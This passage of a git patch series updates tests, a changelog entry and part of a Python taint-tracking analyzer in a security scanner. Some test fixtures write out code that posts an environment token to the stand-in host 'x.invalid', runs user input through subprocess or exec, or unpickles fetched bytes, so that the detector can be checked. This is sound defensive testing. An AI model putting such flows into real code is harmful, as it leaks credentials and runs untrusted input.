ranked lanes.""" + for first, second, sink, rule, source in ( + ( + "input()", + 'os.getenv("TOKEN")', + 'requests.post("https://x.invalid", data=y)', + "TT3", + "os.getenv", + ), + ('os.getenv("TOKEN")', "input()", "subprocess.run(y)", "TT5", "input"), + ): + code = _code( + f""" + import os, requests, subprocess + a = {first} + b0 = {second} + b1 = b0 + b2 = b1 + x = a + x = b2 + y = x # Y + {sink} + """ + ) + (finding,) = _run(code) + assert finding.rule_id == rule, sink + assert f"'y' from {source} (line {_line(code, '# Y')}," in finding.message + + def test_assigned_variables_reach_helpers_in_every_lane(self) -> None: + """Phase B reads phase A facts again in every lane: a variable + tainted by plain assignment and passed to a helper reaches an + execution or deserialization sink there.""" + for setup, helper, rule in ( + ("x = input()", "exec(p)", "TT5"), + ("x = input()", "subprocess.run(p, shell=True)", "TT5"), + ('x = open("payload.bin", "rb").read()', "pickle.loads(p)", "TT6"), + ('x = requests.get("https://x.invalid").content', "pickle.loads(p)", "TT6"), + ): + code = _code( + f""" + import pickle, requests, subprocess + def run(p): + {helper} # SINK + {setup} + run(x) + """ + ) + assert _summary(code) == [(rule, _line(code, "# SINK"))], helper + + def test_deserialization_ranks_a_file_above_a_credential(self) -> None: + for first, second in ( + ('os.getenv("BLOB")', 'open("payload.bin", "rb").read() # FILE'), + ('open("payload.bin", "rb").read() # FILE', 'os.getenv("BLOB")'), + ): + code = _code( + f""" + import os, pickle + x = {first} + x = {second} + pickle.loads(x) + """ + ) + (finding,) = _run(code) + assert finding.rule_id == "TT6", first + assert f"'x' from open (line {_line(code, '# FILE')}," in finding.message + class TestMessageCompatibility: """Messages keep main's wording for every flow main also reports. @@ -2345,6 +3079,154 @@ def main(): assert "'self.token' from os.getenv (line 4," in finding.message assert receiver not in finding.message + @pytest.mark.parametrize( + ("code", "message"), + [ + pytest.param( + "import os, subprocess\n" + 'cmd = os.getenv("A") + open("f").read()\n' + "subprocess.run(cmd)\n", + "Tainted flow: 'cmd' from os.getenv (line 2, credential/environment) " + "→ subprocess.run (code execution)", + id="exec_credential_and_file", + ), + pytest.param( + "import os, shutil\n" + "def make_client():\n" + ' return os.environ.get("TOKEN")\n' + "def convert(dst):\n" + " client = make_client()\n" + ' pptx_bytes = open("deck.pptx", "rb").read()\n' + " pdf_bytes = client.convert_pdf(pptx_bytes)\n" + " shutil.copy(pdf_bytes, dst)\n", + "Tainted flow: 'pdf_bytes' from open (line 7, file read) → shutil.copy (file write)", + id="file_write_after_helper_credential", + ), + pytest.param( + "import os\n" + "from pathlib import Path\n" + "def _get_client():\n" + ' return Client(os.environ.get("CONVERTER_KEY"))\n' + "def convert(pptx_path, output_path):\n" + " pptx_path = Path(pptx_path)\n" + " output_path = Path(output_path)\n" + " client = _get_client()\n" + " pptx_bytes = pptx_path.read_bytes()\n" + " pdf_bytes = client.convert_pdf(pptx_bytes)\n" + " output_path.write_bytes(pdf_bytes)\n", + "Tainted flow: 'pdf_bytes' from pathlib.Path.read_bytes (line 10, file read) " + "→ pathlib.Path.write_bytes (file write)", + id="write_bytes_after_helper_credential", + ), + pytest.param( + 'import os, shutil\ndata = input() + os.getenv("K")\nshutil.copy(data, "dst")\n', + "Tainted flow: 'data' from input (line 2, user input) → shutil.copy (file write)", + id="file_write_input_and_credential", + ), + pytest.param( + "import pickle, requests\n" + 'x = open("f", "rb").read()\n' + 'x = requests.get("https://x.invalid").content\n' + "pickle.loads(x)\n", + "Tainted flow: 'x' from open (line 2, file read) → pickle.loads (deserialization)", + id="deserialization_file_then_network", + ), + pytest.param( + "import os, requests\n" + 'token = os.environ.get("API_TOKEN") or os.getenv("LEGACY_TOKEN")\n' + 'requests.post("https://x.invalid", data=token)\n', + "Tainted flow: 'token' from os.environ.get (line 2, credential/environment) " + "→ requests.post (network output)", + id="two_credentials", + ), + ], + ) + def test_a_same_rule_finding_keeps_mains_message(self, code: str, message: str) -> None: + """A more severe source replaces the cited one only when it changes the + rule; otherwise the message names the first source to arrive, as + ``main`` does, so exact baselines and message globs keep matching.""" + (finding,) = _run(code) + assert finding.message == message + + def test_a_rule_upgrade_cites_the_first_of_the_most_severe_sources(self) -> None: + code = ( + "import os, sys, subprocess\n" + 'cmd = os.getenv("A") + (input() + sys.stdin.read())\n' + "subprocess.run(cmd)\n" + ) + (finding,) = _run(code) + assert finding.message == ( + "Tainted flow: 'cmd' from input (line 2, user input) → subprocess.run (code execution)" + ) + + def test_parameters_cite_the_first_source_to_arrive(self) -> None: + """Through call-site arguments too, the first source to arrive is cited + whenever a later one gives the same rule.""" + two_callers = _code( + """ + import os, requests + def send(value): + requests.post("https://x.invalid", data=value) + send(os.getenv("A")) # FIRST + send(os.environ.get("B")) + """ + ) + (finding,) = _run(two_callers) + assert f"'value' from os.getenv (line {_line(two_callers, '# FIRST')}," in finding.message + through_helper = _code( + """ + import os, subprocess + def run(command): + subprocess.run(command) + cmd = os.getenv("A") + open("f").read() + run(cmd) # CALL + """ + ) + (finding,) = _run(through_helper) + assert finding.message == ( + f"Tainted flow: 'command' from os.getenv (line {_line(through_helper, '# CALL')}, " + "credential/environment) → subprocess.run (code execution)" + ) + global_then_parameter = _code( + """ + import os, requests + TOKEN = os.getenv("A") + def send(value): + body = TOKEN # GLOBAL + body = value + requests.post("https://x.invalid", data=body) + send(os.environ.get("B")) + """ + ) + (finding,) = _run(global_then_parameter) + assert ( + f"'body' from os.getenv (line {_line(global_then_parameter, '# GLOBAL')}," + in finding.message + ) + # A value that does not depend on the parameters is preferred over an + # equally severe one bound from a call site, whichever arrives first. + state_and_parameter = _code( + """ + import os, requests + def token(): + return os.getenv("A") + def wrapped(): + return token() + def outer(): + return wrapped() + def send(value): + body = value + body = outer() # STATE + requests.post("https://x.invalid", data=body) + send(os.environ.get("B")) + """ + ) + (finding,) = _run(state_and_parameter) + assert ( + f"'body' from os.getenv (line {_line(state_and_parameter, '# STATE')}," + in finding.message + ) + # ── Resource bounds ───────────────────────────────────────────────────── @@ -2375,30 +3257,34 @@ def _analyzer_code_objects() -> list: def _operations(code: str) -> int: - """Lines of the taint analyzer executed while analyzing *code*. + """Lines and loop iterations of the taint analyzer executed on *code*. A deterministic work count: unlike wall-clock time it does not depend on machine load, and unlike ``check_runtime`` calls it also counts loops that - never check the deadline. + never check the deadline. Jumps and branches are counted as well as lines, + so the iterations of a one-line comprehension or generator count too. """ monitoring = sys.monitoring tool = next(candidate for candidate in (3, 4) if monitoring.get_tool(candidate) is None) count = [0] + events = (monitoring.events.LINE, monitoring.events.JUMP, monitoring.events.BRANCH) - def on_line(code_object: object, line: int) -> None: + def on_event(*_args: object) -> None: count[0] += 1 monitoring.use_tool_id(tool, "taint-operation-count") codes = _analyzer_code_objects() try: - monitoring.register_callback(tool, monitoring.events.LINE, on_line) + for event in events: + monitoring.register_callback(tool, event, on_event) for code_object in codes: - monitoring.set_local_events(tool, code_object, monitoring.events.LINE) + monitoring.set_local_events(tool, code_object, sum(events)) _run(code) finally: for code_object in codes: monitoring.set_local_events(tool, code_object, 0) - monitoring.register_callback(tool, monitoring.events.LINE, None) + for event in events: + monitoring.register_callback(tool, event, None) monitoring.free_tool_id(tool) return count[0] @@ -2532,7 +3418,7 @@ def _every_source_in_many_locals(n: int) -> str: def _wide_assignment_in_nested_functions(n: int) -> str: - depth = 20 + depth = max(2, min(n // 10, 90)) # nesting and width grow together lines = ["import os, sys, requests, httpx, urllib.request\n", f"s = {_ALL_SOURCES}\n"] lines += [" " * i + f"def f{i}(a{i}):\n" for i in range(depth)] lines.append(" " * depth + "x=" * n + "+".join(f"a{i}" for i in range(depth)) + "\n") @@ -2549,7 +3435,7 @@ def _nested_in_file_calls(n: int) -> str: return "def f(a):\n return a\nx = input()\n" + ("f(" * n + "x" + ")" * n + "\n") * 20 -def _deep_inheritance(n: int) -> str: +def _wide_inheritance(n: int) -> str: out = [] for c in range(n): out.append(f"def g{c}():\n") @@ -2560,8 +3446,56 @@ def _deep_inheritance(n: int) -> str: return "".join(out) +def _deep_inheritance(n: int) -> str: + """One inheritance chain whose depth grows with the file: the base lookup + must stay bounded (``_MAX_ANCESTORS``), not walk the whole chain.""" + out = ["class K0:\n def m0(self, a):\n return a\n"] + for i in range(1, 16 * n): + out.append(f"class K{i}(K{i - 1}):\n def m{i}(self, a):\n self.m0(a)\n return self.v\n") + return "".join(out) + + def _deep_scopes(n: int) -> str: - return "z = " + "lambda: " * n + "[" + ",".join(f"n{i}" for i in range(200)) + "]\n" + """Nesting depth and the number of names grow together.""" + names = ",".join(f"n{i}" for i in range(50 * n)) + return "z = " + "lambda: " * n + "[" + names + "]\n" + + +def _chained_lambda(n: int) -> str: + """One lambda with n parameters bound to n names, each called.""" + names = "=".join(f"a{i}" for i in range(n)) + params = ",".join(f"p{i}" for i in range(n)) + return f"q = {{}}\n{names} = lambda {params}: 0\n" + "".join(f"a{i}(**q)\n" for i in range(n)) + + +def _nested_lambda_defaults(n: int) -> str: + """Lambdas nested n deep through their defaults.""" + expression = "0" + for _ in range(n): + expression = f"lambda a={expression}: 0" + return "".join(f"x{i} = {expression}\n" for i in range(4)) + + +def _forwarded_unpacking(n: int) -> str: + """Bound calls forwarding ``*args`` / ``**kwargs`` into wide signatures.""" + params = ", ".join(f"p{i}" for i in range(n)) + return ( + f"class B:\n def __init__(self, {params}, *a, **k):\n pass\n" + "class C(B):\n def __init__(self, *a, **k):\n" + + "".join(f" super().__init__(*a, x{i}=1, **k)\n" for i in range(n)) + ) + + +def _forwarded_keywords(n: int) -> str: + """Forwarded ``**kwargs`` whose callers pass many names: past the cap the + forwarding binds as one wildcard, not once per name.""" + params = ",".join(f"p{i}=0" for i in range(n)) + return ( + f"class B:\n def __init__(self, {params}):\n pass\n" + "class C(B):\n def __init__(self, **k):\n" + + " super().__init__(**k)\n" * n + + "".join(f"C(p{i}=1)\n" for i in range(n)) + ) # Every denial-of-service repro from the two reviews of this change, scaled @@ -2592,8 +3526,13 @@ def _deep_scopes(n: int) -> str: "wide_assignment_in_nested_functions": (_wide_assignment_in_nested_functions, 200), "nested_callback_arguments": (_nested_callback_arguments, 15), "nested_in_file_calls": (_nested_in_file_calls, 15), + "wide_inheritance": (_wide_inheritance, 3), "deep_inheritance": (_deep_inheritance, 3), "deep_scopes": (_deep_scopes, 20), + "chained_lambda": (_chained_lambda, 150), + "nested_lambda_defaults": (_nested_lambda_defaults, 40), + "forwarded_unpacking": (_forwarded_unpacking, 100), + "forwarded_keywords": (_forwarded_keywords, 100), } @@ -2685,6 +3624,73 @@ def test_message_bytes_do_not_grow_with_identifier_length(self) -> None: assert len(tainted) == count assert sum(len(f.message) for f in findings) <= 200 * len(findings) + @pytest.mark.parametrize( + ("setup", "read"), + [ + pytest.param( + "class C:\n def m(self):\n self.{long} = os.getenv('K')\n" + " def send(self):\n", + "self.{long}", + id="self_attribute", + ), + pytest.param( + "class C:\n def m({long}):\n {long}.a = os.getenv('K')\n", + "{long}.a", + id="receiver_attribute", + ), + pytest.param( + "def {long}():\n return os.getenv('K')\ndef send():\n", + "{long}()", + id="call", + ), + pytest.param( + "class C:\n def t(self):\n return os.getenv('K')\n def m({long}):\n", + "{long}.t()", + id="method_call", + ), + pytest.param( + "class {long}:\n def t(self):\n return os.getenv('K')\ndef send():\n", + "{long}().t()", + id="constructed_call", + ), + ], + ) + def test_every_sink_spelling_is_shortened(self, setup: str, read: str) -> None: + """Attribute, call and method-call spellings at a sink are capped too.""" + long = "q" * 1_000 + sinks = 20 + header = setup.format(long=long) + indent = " " * (len(header.splitlines()[-1]) - len(header.splitlines()[-1].lstrip()) + 4) + if not header.rstrip().endswith(":"): + indent = " " * 8 + sink = f"{indent}requests.post('u', data={read.format(long=long)})\n" + findings = _run("import os, requests\n" + header + sink * sinks) + assert len(findings) == sinks + cap = behavioral_taint_tracking._MAX_NAME_CHARS + spelled = read.format(long=long).split(long)[0] + for finding in findings: + name = finding.message.split("'")[1] + assert len(name) <= cap and name.endswith("...") + assert name.startswith(spelled + "q") + + def test_super_calls_are_spelled_as_written(self) -> None: + code = _code( + """ + import os, requests + class Base: + def tok(self): + return os.getenv("TOKEN") # RETURN + class Child(Base): + def send(self): + requests.post("https://x.invalid", data=super().tok()) + """ + ) + (finding,) = _run(code) + assert finding.message == ( + f"Tainted flow: 'super().tok()' from os.getenv (line {_line(code, '# RETURN')}, " + "credential/environment) → requests.post (network output)" + ) + def test_identifiers_up_to_the_cap_are_reported_in_full(self) -> None: cap = behavioral_taint_tracking._MAX_NAME_CHARS for length, spelled in ((cap, "t" * cap), (cap + 1, "t" * (cap - 3) + "...")): @@ -2700,9 +3706,7 @@ def test_one_fact_per_key_whatever_the_number_of_sources(self) -> None: def facts(code: str) -> int: parsed = get_python_ast(None, code, "t.py") - index = behavioral_taint_tracking._build_scope_index( - parsed.tree, parsed.import_aliases, {} - ) + index = behavioral_taint_tracking._build_scope_index(parsed.tree) graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) graph.run() return sum(len(lane) for slot in graph.facts for lane in slot) @@ -2723,20 +3727,21 @@ def counting_mark_targets(*args, **kwargs): code = _wide_assignment_in_nested_functions(2000) parsed = get_python_ast(None, code, "t.py") - index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + index = behavioral_taint_tracking._build_scope_index(parsed.tree) graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) graph.build() flows = len(graph.flows) + len(graph.seeds) monkeypatch.setattr(behavioral_taint_tracking, "_mark_targets", counting_mark_targets) _run(code) # Each flow fires at most once per (lane, source rank, bound or not): - # twelve times, however many sources the forwarded value carries and - # however deep it goes. - assert calls["n"] <= 12 * flows + # fourteen times (three ranks in lanes 0 and 1, one in lane 2, two + # slots), however many sources the forwarded value carries and however + # deep it goes. + assert calls["n"] <= 14 * flows def test_redefinitions_merge_into_one_class_and_one_callee(self) -> None: parsed = get_python_ast(None, _typed_redefinitions(500), "t.py") - index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + index = behavioral_taint_tracking._build_scope_index(parsed.tree) (cls,) = index.classes (group,) = cls.methods["m"].values() assert len(group.functions) == 500 @@ -2751,9 +3756,7 @@ def _raised_in(code: str, cap: int, stage) -> list[str]: def test_deadline_is_checked_while_indexing(self) -> None: def index(parsed, check): - behavioral_taint_tracking._build_scope_index( - parsed.tree, parsed.import_aliases, {}, check - ) + behavioral_taint_tracking._build_scope_index(parsed.tree, check) stack = self._raised_in("x + 1\n" * 20000, 5000, index) assert "_build_scope_index" in stack @@ -2765,7 +3768,7 @@ def index(parsed, check): def test_deadline_is_checked_per_statement(self) -> None: """Calls that bind nothing still pass a deadline check each.""" parsed = get_python_ast(None, "class C:\n pass\n" + "C()\n" * 20000, "t.py") - index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + index = behavioral_taint_tracking._build_scope_index(parsed.tree) graph = behavioral_taint_tracking._TaintGraph( index, {}, parsed.import_aliases, _capped_check_runtime(5000) ) @@ -2777,7 +3780,7 @@ def test_deadline_is_checked_while_linking_callees(self) -> None: functions = "".join(f"def f{i}(a, b, *c, d=1, **e):\n return a\n" for i in range(3000)) calls = "".join(f"f{i}(1, 2, 3, d=4, e=5)\n" for i in range(3000)) parsed = get_python_ast(None, functions + calls, "t.py") - index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + index = behavioral_taint_tracking._build_scope_index(parsed.tree) graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) for node, scope in index.statements: if isinstance(node, behavioral_taint_tracking.ast.Call): @@ -2794,9 +3797,136 @@ def test_deadline_is_checked_while_propagating(self) -> None: + 'a0 = os.getenv("K")\n' ) parsed = get_python_ast(None, code, "t.py") - index = behavioral_taint_tracking._build_scope_index(parsed.tree, parsed.import_aliases, {}) + index = behavioral_taint_tracking._build_scope_index(parsed.tree) graph = behavioral_taint_tracking._TaintGraph(index, {}, parsed.import_aliases) graph.build() graph.tick = _capped_check_runtime(depth // 2) with pytest.raises(_RuntimeBudgetError): graph.propagate() + + @pytest.mark.parametrize( + ("stage", "code", "limit"), + [ + pytest.param( + "_resolve_names", + "x = (" + "lambda: 0, " * 3000 + ")\n", + 1000, + id="resolve_per_scope", + ), + pytest.param( + # One check per scope and one per definition: 6,001 in all. + "_resolve_names", + "def f():\n pass\n" * 3000, + 4500, + id="resolve_per_definition", + ), + pytest.param( + "_index_definitions", "class C:\n pass\n" * 3000, 1000, id="index_classes" + ), + pytest.param( + "_index_definitions", + "class D(" + ",".join(f"b{i}" for i in range(3000)) + "):\n pass\n", + 1000, + id="index_bases", + ), + pytest.param( + "_index_definitions", + "".join(f"def f{i}():\n pass\n" for i in range(3000)), + 1000, + id="index_functions", + ), + pytest.param( + "_index_definitions", + "=".join(f"a{i}" for i in range(3000)) + " = lambda: 0\n", + 1000, + id="index_lambda_bindings", + ), + pytest.param( + "ancestors", + "class K0:\n pass\n" + + "".join(f"class K{i}(K{i - 1}):\n pass\n" for i in range(1, 3000)) + + "class Leaf(K2999):\n def go(self):\n self.m()\n", + 1000, + id="ancestors", + ), + pytest.param( + "scan", "x = [" + ",".join(f"n{i}" for i in range(3000)) + "]\n", 1000, id="scan" + ), + pytest.param( + # ``_mark_targets`` checks once per 1024 targets. + "_mark_targets", + "import os\n" + ",".join(f"t{i}" for i in range(40 * 1024)) + " = os.getenv('K')\n", + 20, + id="mark_targets", + ), + pytest.param( + "defaults", + "def f(" + ",".join(f"a{i}=0" for i in range(3000)) + "):\n pass\n", + 1000, + id="defaults", + ), + pytest.param( + "link_attributes", + "class C:\n def m(self):\n" + " x = self.a\n" * 3000, + 1000, + id="link_attribute_nodes", + ), + pytest.param( + # One check per attribute and one per distinct ``self.x``: 6,000. + "link_attributes", + "class C:\n def m(self):\n" + + "".join(f" x = self.a{i}\n" for i in range(3000)), + 4500, + id="link_attribute_views", + ), + pytest.param( + # One check per class-body read and one per statement: 6,000. + "build", + "class C:\n" + "".join(f" x{i} = x{i}\n" for i in range(3000)), + 4500, + id="build_class_reads", + ), + pytest.param( + "build", + "".join(f"def f{i}(a=0):\n pass\n" for i in range(3000)), + 1000, + id="build_functions", + ), + pytest.param( + "propagate", + "import os\n" + + "".join(f"def f{i}():\n return os.getenv('K')\n" for i in range(3000)), + 1000, + id="propagate_seeds", + ), + pytest.param( + "_find_tainted_names_in_args", + "import requests\nrequests.post('u', data=[" + + ",".join("x" for _ in range(3000)) + + "])\n", + 1000, + id="sink_arguments", + ), + ], + ) + def test_deadline_is_checked_inside_each_stage(self, stage: str, code: str, limit: int) -> None: + """Each stage checks the deadline in its own loops, not only between stages. + + The deadline here counts only the checks made by *stage* itself, and + each input makes one of its loops do most of the work, so the test + fails if that loop's check is removed. + """ + calls = {"n": 0} + + def check_runtime() -> None: + if sys._getframe(1).f_code.co_name == stage: + calls["n"] += 1 + if calls["n"] > limit: + raise _RuntimeBudgetError(stage) + + budget = types.SimpleNamespace( + check_runtime=check_runtime, emit=lambda finding: None, current_findings=[] + ) + parsed = get_python_ast(None, code, "t.py") + with pytest.raises(_RuntimeBudgetError, match=stage): + behavioral_taint_tracking._analyze_python(parsed, "t.py", budget) From 1d2d896cf0c06183879993833cf14a9556c3f604 Mon Sep 17 00:00:00 2001 From: Narendran Raghavan Date: Thu, 8 Oct 2026 15:47:50 -0700 Subject: [PATCH 5/7] docs(changelog): note scoped taint and its baseline impact Signed-off-by: Narendran Raghavan Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 90b1a88d6..6cf663df6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,6 @@ ### 2.12.0 (Unreleased) ### Features/Bug Fixes +* fix(taint): key TT1-TT6 taint by lexical scope and follow direct calls to functions and methods defined in the same file, so a tainted variable no longer taints same-named variables in other functions (#799). Exact baseline fingerprints and message-glob rules from earlier versions keep matching TT findings whose rule and message are unchanged. They stop matching where the earlier message came from a same-named variable in another scope (the message now names the variable, source and line that reach the sink), where a more severe source now applies at the sink (TT2/TT4 to TT3, TT2 to TT5/TT6), and where an identifier longer than 120 characters is now shortened; re-accept those findings or regenerate the baseline. `match_fingerprint` changes only when the rule does. * fix(static): stop code comparisons after removal verbs from reading as unterminated tag-marker directives (#777) * fix(baseline): fingerprint every occurrence of a deduplicated finding so the next scan suppresses all of them (#633) * fix(security): retain incomplete coverage for runtime-selected commands and remeasure active Git clones strictly (#514) From 78b571ca3f0d9e70a4f99f41a35492ac335366e7 Mon Sep 17 00:00:00 2001 From: Narendran Raghavan Date: Fri, 9 Oct 2026 00:05:39 -0700 Subject: [PATCH 6/7] test(taint): drop the duplicate pytest import from the main merge The update-branch merge of main (#721) kept both copies of the import, which fails ruff (F811, I001). Signed-off-by: Narendran Raghavan Co-Authored-By: Claude Opus 5.5 --- tests/nodes/analyzers/test_behavioral_taint_tracking.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/tests/nodes/analyzers/test_behavioral_taint_tracking.py b/tests/nodes/analyzers/test_behavioral_taint_tracking.py index c26789a59..1ec381cc3 100644 --- a/tests/nodes/analyzers/test_behavioral_taint_tracking.py +++ b/tests/nodes/analyzers/test_behavioral_taint_tracking.py @@ -26,8 +26,6 @@ import pytest -import pytest - from skillspector.nodes.analyzers import behavioral_taint_tracking from skillspector.nodes.analyzers.common import build_type_map from skillspector.nodes.deduplicate import deduplicate From 9a938f363dbbc2e54b4817f8cf636a486f4a57d7 Mon Sep 17 00:00:00 2001 From: Narendran Raghavan Date: Fri, 9 Oct 2026 13:24:57 -0700 Subject: [PATCH 7/7] fix(taint): drop forwarded-kwargs fan-out and keep source and message semantics Address the fourth review round. - A forwarded **kwargs (a function's own ** parameter passed on) binds only into the callee's own ** parameter: one slot per callee, and it never fills named, keyword-only or receiver parameters. This removes the per-name expansion (up to 85 targets per **k) and the false positives from one tainted keyword reaching every forwarded one. - A source call's value is what it reads, not its arguments, so json.load(open(os.getenv(...))) is TT4 again, as on main. - Sinks cite variables main's flows taint (phase A) before parameters only the new flows bind, so same-rule messages keep main's wording. - A class-body read of a name the class binds reads a view fed by the module and class keys; the class attribute keeps only the class's own value. Any class-body binding (annotated assignment, import, def) shadows a base's value; an annotation alone binds nothing. - An immediately called lambda in a default yields its body's value. - C3 merges every base and caps only the result. - Deadline checks per argument and keyword in bind_arguments and every 1,024 flows of one key in drain. - CHANGELOG: exact fingerprints are version-bound; list every message change category and raised rule. Tests pin each case, add non-root nested-default and many-base scaling shapes, the forwarded-kwargs cost, the slot-cap boundary for *rest, the multi-base ancestor cap, C3 local precedence, and non-constructor self()/cls() calls. Signed-off-by: Narendran Raghavan Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- .../analyzers/behavioral_taint_tracking.py | 242 +++++----- .../test_behavioral_taint_tracking.py | 420 ++++++++++++++++-- 3 files changed, 509 insertions(+), 155 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6cf663df6..e517a40e3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,6 @@ ### 2.12.0 (Unreleased) ### Features/Bug Fixes -* fix(taint): key TT1-TT6 taint by lexical scope and follow direct calls to functions and methods defined in the same file, so a tainted variable no longer taints same-named variables in other functions (#799). Exact baseline fingerprints and message-glob rules from earlier versions keep matching TT findings whose rule and message are unchanged. They stop matching where the earlier message came from a same-named variable in another scope (the message now names the variable, source and line that reach the sink), where a more severe source now applies at the sink (TT2/TT4 to TT3, TT2 to TT5/TT6), and where an identifier longer than 120 characters is now shortened; re-accept those findings or regenerate the baseline. `match_fingerprint` changes only when the rule does. +* fix(taint): key TT1-TT6 taint by lexical scope and follow direct calls to functions and methods defined in the same file, so a tainted variable no longer taints same-named variables in other functions (#799). Message-glob baseline rules keep matching TT findings whose rule and message are unchanged; exact baseline fingerprints are bound to the scanner version and suppress nothing after an upgrade (see docs/SUPPRESSION.md), so they must be regenerated in any case. A TT message changes where the earlier message came from a same-named variable in another scope (it now names the variable, source and line that reach the sink); where a more severe source raises the rule (TT2 to TT3 or TT4, TT4 to TT3, TT2 to TT5 or TT6), and at such a sink, where a weaker finding is subsumed or now cites another variable; and where an identifier longer than 120 characters is now shortened. Re-accept those findings or regenerate the baseline. `match_fingerprint` changes only when the rule does. * fix(static): stop code comparisons after removal verbs from reading as unterminated tag-marker directives (#777) * fix(baseline): fingerprint every occurrence of a deduplicated finding so the next scan suppresses all of them (#633) * fix(security): retain incomplete coverage for runtime-selected commands and remeasure active Git clones strictly (#514) diff --git a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py index 40a9a9008..876eff08c 100644 --- a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py +++ b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py @@ -453,10 +453,9 @@ def _find_nested_sources( # definition is bounded by a constant. _MAX_POSITIONAL_SLOTS = 16 # The in-file base lookup visits at most this many classes (the class itself -# included), merging at most this many bases of each, so it is a constant per -# class. +# included). Each class merges its bases' (already cut) orders once, so the +# work is linear in the bases the file lists. _MAX_ANCESTORS = 8 -_MAX_BASES = 8 # How a flow changes the fact it carries (see ``_mark_targets``). _ASSIGN = 0 # cites the flow's own line @@ -584,7 +583,7 @@ def __init__(self, node: ast.ClassDef, scope: _Scope) -> None: class _Class: """Every ``class`` statement bound to one name (redefinitions merge).""" - __slots__ = ("id", "defs", "bases", "methods", "ancestors") + __slots__ = ("id", "defs", "bases", "methods", "ancestors", "_body_names") def __init__(self, class_id: int) -> None: self.id = class_id @@ -592,6 +591,16 @@ def __init__(self, class_id: int) -> None: self.bases: list[_Class] = [] self.methods: dict[str, dict[str, _Group]] = {} self.ancestors: list[_Class] | None = None + self._body_names: set[str] | None = None + + def body_names(self) -> set[str]: + """Names any of the class bodies binds (assignment, ``def``, import, ...).""" + if self._body_names is None: + names: set[str] = set() + for class_def in self.defs: + names.update(class_def.scope.bound or ()) + self._body_names = names + return self._body_names class _Group: @@ -612,8 +621,6 @@ class _Group: "slots", "named", "kwarg_named", - "kw_names", - "kw_open", ) def __init__(self, group_id: int, kind: str) -> None: @@ -628,11 +635,6 @@ def __init__(self, group_id: int, kind: str) -> None: # every ``**kwargs`` definition of the group binds by name instead. self.named: set[str] | None = None self.kwarg_named: set[str] | None = None - # Keyword names call sites pass into the group's ``**kwargs``, so a - # forwarded ``**kwargs`` binds only those (see ``forwarded_names``); - # ``kw_open`` once a call passes ``**mapping`` or too many names. - self.kw_names: set[str] = set() - self.kw_open = False def add(self, function: _Function) -> None: self.functions.append(function) @@ -728,9 +730,11 @@ def _receiver_offset(kind: str, class_object: bool) -> int: def _c3(cls: _Class, bases: list[_Class]) -> list[_Class]: """C3 linearization of *cls* from its bases' linearizations, cut at ``_MAX_ANCESTORS``. - Bases are already linearized (and cut). A base still being linearized - (a cycle) stands for itself. An inconsistent hierarchy, which Python - rejects, continues with the leftmost remaining head. + Every base takes part in the merge; only the result is cut. Bases are + already linearized, and cut, so a hierarchy deeper than the cap can + differ from Python's order past the classes kept. A base still being + linearized (a cycle) stands for itself. An inconsistent hierarchy, which + Python rejects, continues with the leftmost remaining head. """ result = [cls] if not bases: @@ -801,14 +805,16 @@ def __init__(self) -> None: # an ordinary fact. self.local = bytearray() self.name_key: dict[ast.Name, int] = {} - # (class key, module key) for each name a class body reads and also - # binds: such a read sees the class's value or, before the class - # binds it, the module global (Python's LOAD_NAME). - self.class_reads: dict[tuple[int, int], None] = {} - # Keys some statement assigns, and each ``**kwargs`` parameter's - # key -> its function. - self.stored: set[int] = set() - self.kwarg_params: dict[int, _Function] = {} + # A class-body read of a name the class also binds sees the class's + # value or, before the class binds it, the module global (Python's + # LOAD_NAME). It reads a view fed by both keys, so the class's own + # value (and ``self.x``) never takes the global's taint: + # (view, class key, module key), and the read nodes' views. + self.class_reads: dict[tuple[int, int, int], None] = {} + self.class_read_views: dict[ast.Name, int] = {} + # Keys of ``**kwargs`` parameters: forwarding one (``f(**kwargs)``) + # binds only into the callee's own ``**kwargs``. + self.kwarg_params: set[int] = set() self.class_of_key: dict[int, _Class] = {} self.function_groups: dict[int, _Group] = {} self.groups: list[_Group] = [] @@ -931,9 +937,9 @@ def finish_groups(self) -> None: def ancestors(self, cls: _Class, tick: Callable[[], None]) -> list[_Class]: """*cls* then its in-file bases in C3 (method resolution) order, bounded. - Each class merges the (bounded) linearizations of at most - ``_MAX_BASES`` bases and keeps the first ``_MAX_ANCESTORS`` classes, - so the work per class is a constant. Classes are linearized bases + Each class merges the (cut) linearizations of all its bases and keeps + the first ``_MAX_ANCESTORS`` classes, so the work per class is linear + in the bases it lists. Classes are linearized bases first, iteratively, so a long inheritance chain cannot exhaust the stack; a cycle (possible when redefinitions merge) is cut. """ @@ -947,7 +953,7 @@ def ancestors(self, cls: _Class, tick: Callable[[], None]) -> list[_Class]: if current.ancestors is not None: stack.pop() continue - bases = current.bases[:_MAX_BASES] + bases = current.bases if current.id not in visiting: visiting.add(current.id) pending = [ @@ -1140,6 +1146,7 @@ def _build_scope_index( switch: dict[ast.AST, _Scope] = {} # Walrus targets bind in the nearest enclosing non-comprehension scope. walrus: dict[ast.Name, _Scope] = {} + annotation_only: set[ast.Name] = set() queue: deque[tuple[ast.AST, _Scope]] = deque([(tree, module)]) while queue: @@ -1148,6 +1155,8 @@ def _build_scope_index( if isinstance(node, ast.Name): if isinstance(node.ctx, ast.Load): scope.request(node) + elif node in annotation_only: + pass # ``x: T`` in a class body binds nothing else: binding = walrus.pop(node, scope) binding.bind(node.id) @@ -1224,6 +1233,10 @@ def 